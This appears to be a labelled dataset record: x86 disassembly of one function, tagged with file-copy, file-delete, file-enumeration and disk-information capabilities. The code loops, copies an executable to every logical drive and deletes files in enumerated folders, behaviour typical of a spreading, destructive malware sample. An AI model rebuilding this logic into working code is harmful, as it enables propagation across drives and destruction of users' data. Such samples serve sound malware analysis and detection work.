Function at 0x402520
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.c.exe]
push ebx
push esi
push edi
mov dword [ebp - 0x44c], eax
mov ax, word [0x4053a4]
push 0x103
mov word [ebp - 0x448], ax
lea eax, [ebp - 0x1bb]
push 0
push eax
mov dword [ebp - 0x446], 0
mov byte [ebp - 0x1bc], 0
call sub.VCRUNTIME140.dll_memset
push 0x95
lea eax, [ebp - 0xb7]
mov byte [ebp - 0xb8], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
add esp, 0x18
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
nop dword [eax + eax]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2fc]
push eax
push 0x4053a8
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4025f3
test byte [ebp - 0x2fc], 0x10
jne 0x4025e2
push dword [0x4082c8]
lea eax, [ebp - 0x2d0]
push eax
call fcn.00401ed0
add esp, 8
lea eax, [ebp - 0x2fc]
push eax
push esi
call edi
test eax, eax
jne 0x4025c4
push esi
call ebx
push 0x4083f0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp byte [0x4083f0], 0
mov ebx, 0x4083f0
je 0x402699
lea edx, [ebp - 0x20]
mov ecx, ebx
sub edx, ebx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x402620
lea edx, [ebp - 0x44c]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402635
lea edi, [ebp - 0x20]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402642
mov ecx, edx
lea eax, [ebp - 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x4082d0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40267e
lea eax, [ebp - 0x20]
push eax
push str.Failed_to_copy_file_to__s_n
call fcn.004035f0
add esp, 8
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402683
sub ecx, edx
inc ebx
add ebx, ecx
cmp byte [ebx], al
jne 0x402615
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x2fc]
push eax
push 0x405338
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, eax
mov dword [ebp - 0x440], esi
cmp esi, 0xffffffff
je 0x4025a0
test byte [ebp - 0x2fc], 0x10
je 0x4027e4
xor ecx, ecx
mov al, byte [ebp + ecx - 0x2d0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x1bd], al
test al, al
jne 0x4026d1
lea ecx, [ebp - 0x1bc]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4026f0
mov eax, dword [str..]
mov dword [ecx], eax
mov al, byte [0x4053d0]
mov byte [ecx + 4], al
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x1bc]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4027e4
nop dword [eax + eax]
xor ecx, ecx
mov al, byte [ebp + ecx - 0x2d0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0xb9], al
test al, al
jne 0x402732
lea edi, [ebp - 0xb8]
dec edi
nop
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x402750
mov ax, word [0x4053d4]
lea edx, [ebp - 0x410]
mov word [edi], ax
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x402770
lea edi, [ebp - 0xb8]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402780
mov ecx, edx
lea eax, [ebp - 0xb8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4027bb
lea eax, [ebp - 0xb8]
push eax
push str.Failed_to_delete_file__s_n
call fcn.004035f0
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x43c]
push eax
push ebx
call edi
test eax, eax
jne 0x402730
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
call ebx
mov esi, dword [ebp - 0x440]
jmp 0x4027ea
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x2fc]
push eax
push esi
call edi
test eax, eax
jne 0x4026c2
push esi
call ebx
jmp 0x4025a0